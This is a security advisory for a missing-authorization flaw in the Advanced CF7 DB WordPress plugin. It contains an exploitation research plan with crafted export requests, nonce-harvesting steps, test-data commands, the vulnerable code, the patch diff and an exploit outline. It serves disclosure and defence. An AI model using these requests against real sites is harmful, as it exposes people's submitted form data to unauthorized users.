Advanced CF7 DB <= 2.0.9 - Missing Authorization to Authenticated (Subscriber+) Form Submissions Excel Export
Description
The Advanced Contact form 7 DB plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'vsz_cf7_export_to_excel' function in all versions up to, and including, 2.0.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to export form submissions to excel file.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.0.9What Changed in the Fix
Changes introduced in v2.1.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0814 - Advanced CF7 DB Export Authorization Bypass ## 1. Vulnerability Summary The **Advanced Contact Form 7 DB** plugin (up to 2.0.9) contains a missing authorization vulnerability in the `vsz_cf7_export_to_excel` function. This function handles the logic for…
Show full research plan
Exploitation Research Plan: CVE-2026-0814 - Advanced CF7 DB Export Authorization Bypass
1. Vulnerability Summary
The Advanced Contact Form 7 DB plugin (up to 2.0.9) contains a missing authorization vulnerability in the vsz_cf7_export_to_excel function. This function handles the logic for exporting form submissions into Excel format. While the plugin implements some capability checks for its admin menu pages, the specific function responsible for triggering the export lacks a current_user_can() check. Consequently, any authenticated user, including those with Subscriber-level permissions, can trigger the export process by sending a crafted request to the WordPress admin dashboard, leading to unauthorized data disclosure.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php(or any admin page likeindex.php, as the handler is likely hooked toadmin_init). - Trigger Parameter:
vsz_cf7_export_excel(based on thenameattribute of the submit button incontact_form_listing.php). - Required Parameters:
cf7_id: The ID of the Contact Form 7 to export.vsz_cf7_export_excel: Set to1or the button labelExport Excel._wpnonce: (Potentially required) The nonce for the actionvsz-cf7-action-nonce.
- Authentication: Authenticated (Subscriber+).
- Vulnerable Function:
vsz_cf7_export_to_excel(likely located inadmin/class-advanced-cf7-db-admin.php).
3. Code Flow
- Request Reception: An authenticated user sends a GET or POST request to
/wp-admin/containingvsz_cf7_export_excel=1and a validcf7_id. - Hook Execution: The WordPress
admin_inithook fires. The plugin registersvsz_cf7_export_to_excelto this hook (or a similar early-stage admin hook). - Missing Check: The function
vsz_cf7_export_to_excelchecks for the presence of thevsz_cf7_export_excelparameter but fails to verify if the current user has themanage_optionscapability or specific form view capabilities (cf7_db_form_view_[ID]). - Data Retrieval: The function retrieves all entries for the specified
cf7_idfrom the database table (stored inVSZ_CF7_DATA_ENTRY_TABLE_NAME). - Response Generation: The plugin uses
PhpOffice\PhpSpreadsheetto generate an.xlsxor.xlsfile and streams it to the user with appropriate headers (Content-Type: application/vnd.ms-excel).
4. Nonce Acquisition Strategy
The nonce vsz-cf7-action-nonce is generated in admin/partials/contact_form_listing.php. If the function verifies this nonce, a Subscriber must obtain it.
- Check Common Exposure: Plugins often expose nonces via
wp_localize_script. Check the source of/wp-admin/profile.phpfor a global JS variable (likely namedvsz_cf7_db_admin_objor similar). - Shortcode Method: The plugin uses shortcodes to display data. If a shortcode is placed on a page, it might enqueue scripts containing the nonce.
- Check for shortcode registration:
grep -r "add_shortcode" . - Create a page with the shortcode:
wp post create --post_content='[cf7-db-display-ip]' ...(example from README).
- Check for shortcode registration:
- Browser Extraction:
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto search for the nonce:browser_eval("window.vsz_cf7_db_admin_obj?.nonce || document.body.innerHTML.match(/vsz-cf7-action-nonce/)").
- Navigate to
Note: In admin/partials/contact_form_listing.php, the code if(!wp_verify_nonce( $nonce, 'vsz-cf7-action-nonce')) appears to verify a nonce against itself immediately after creation, suggesting the developer may have implemented nonce checks incorrectly or not at all in the actual export handler.
5. Exploitation Strategy
Step 1: Identify a valid Form ID
Use WP-CLI to find an existing Contact Form 7 ID.wp post list --post_type=wpcf7_contact_form --format=ids
Step 2: Trigger Export
As a Subscriber, attempt to download the Excel file.
Request:
GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]
If the above fails with a 403 or redirect, try providing the nonce (if found):
GET /wp-admin/admin.php?vsz_cf7_export_excel=1&cf7_id=TARGET_FID&_wpnonce=NONCE_VALUE HTTP/1.1
Host: localhost
Cookie: [Subscriber Cookies]
6. Test Data Setup
- Install Dependencies: Ensure Contact Form 7 and Advanced CF7 DB are active.
- Create Form:
wp post create --post_type=wpcf7_contact_form --post_title="Sensitive Leads" --post_status=publish. Let the ID be123. - Inject Data: Manually insert a row into the database to simulate a form submission.
wp db query "INSERT INTO wp_cf7_vdata (created) VALUES (NOW());" DATA_ID=$(wp db query "SELECT LAST_INSERT_ID();" --silent --skip-column-names) wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-name', 'Target User');" wp db query "INSERT INTO wp_cf7_vdata_entry (cf7_id, data_id, name, value) VALUES (123, $DATA_ID, 'your-email', 'target@example.com');" - Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
7. Expected Results
- The server should respond with
200 OK. Content-Dispositionheader should containattachment;filename=...excel....- The response body should contain binary spreadsheet data.
- Parsing the response (or observing file size) should reveal the data injected in Step 6 ("Target User").
8. Verification Steps
- Confirm Role: Use
wp user get attackerto verify the user is only a Subscriber. - Validate Content: Save the response body to a file and check if it's a valid ZIP/Office document:
file download.xlsx - Compare Permissions: Attempt the same request without being
Summary
The Advanced Contact Form 7 DB plugin for WordPress lacks authorization and capability checks in its data export handlers. This allows authenticated users, including those with Subscriber-level permissions, to export all Contact Form 7 submissions to CSV or Excel files by providing a valid form ID.
Vulnerable Code
/* admin/class-advanced-cf7-db-admin.php lines ~948 (v2.0.9) */ //Setup export functionality here if(isset($_POST['btn_export'])){ //Get form ID $fid = (int)sanitize_text_field($_POST['fid']); //Get export id related information $ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('sanitize_text_field',$_POST['del_id'])) : ''); $ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('intval',$_POST['del_id'])) : ''); ///Get export type related information $type = sanitize_text_field($_POST['vsz-cf7-export']); //Check type name and execute type related CASE switch ($type) { case 'csv': $this->vsz_cf7_export_to_csv($fid, $ids_export); break; case 'excel': $this->vsz_cf7_export_to_excel($fid, $ids_export); break; } } --- /* admin/class-advanced-cf7-db-admin.php lines ~1508 (v2.0.9) */ public function vsz_cf7_export_to_excel($fid, $ids_export = ''){ global $wpdb; include_once(ABSPATH . 'wp-content/plugins/advanced-cf7-db/includes/libraries/excel/xls/vendor/autoload.php'); $fid = intval($fid); if( empty( $fid ) ){ return 'You do not have the permission to export the data'; } $fields = vsz_cf7_get_db_fields($fid); // ... logic continues to query database and output file stream ...
Security Fix
@@ -948,8 +953,24 @@ //Setup export functionality here if(isset($_POST['btn_export'])){ + //Verify nonce + if(!isset($_POST['_wpnonce']) || empty($_POST['_wpnonce'])){ + wp_die(__('Security check failed: Missing nonce.')); + } + $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : ''; + if(!wp_verify_nonce($nonce, 'vsz-cf7-action-nonce')) { + wp_die(__('Security check failed: Invalid nonce.')); + } + //Get form ID - $fid = (int)sanitize_text_field($_POST['fid']); + $fid = (int)sanitize_text_field(wp_unslash($_POST['fid'])); + + //Check capability - user must have view or edit permission for this form + $view_cap = 'cf7_db_form_view_'.$fid; + $edit_cap = 'cf7_db_form_edit_'.$fid; + if(!cf7_check_capability($view_cap) && !cf7_check_capability($edit_cap)){ + wp_die(__('You do not have permission to export this data.')); + } //Get export id related information $ids_export = ((isset($_POST['del_id']) && !empty($_POST['del_id'])) ? implode(',', array_map('sanitize_text_field',$_POST['del_id'])) : '');
Exploit Outline
1. Authenticate as a Subscriber-level user. 2. Identify the target Form ID (`cf7_id` or `fid`) of the Contact Form 7 submissions you wish to steal. 3. Obtain a valid security nonce for the action `vsz-cf7-action-nonce`. This can typically be found in the admin dashboard source code (e.g., on `profile.php`) or leaked via enqueued scripts if the plugin does not properly restrict where the nonce is displayed. 4. Send a POST request to `/wp-admin/admin.php?page=contact-form-listing` with the following parameters: `btn_export=1`, `fid=[Target FID]`, `vsz-cf7-export=excel` (or `csv`), and `_wpnonce=[Valid Nonce]`. 5. The server will respond with the binary Excel/CSV data containing all submitted entries for the specified form ID, bypassing any intended administrative restrictions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.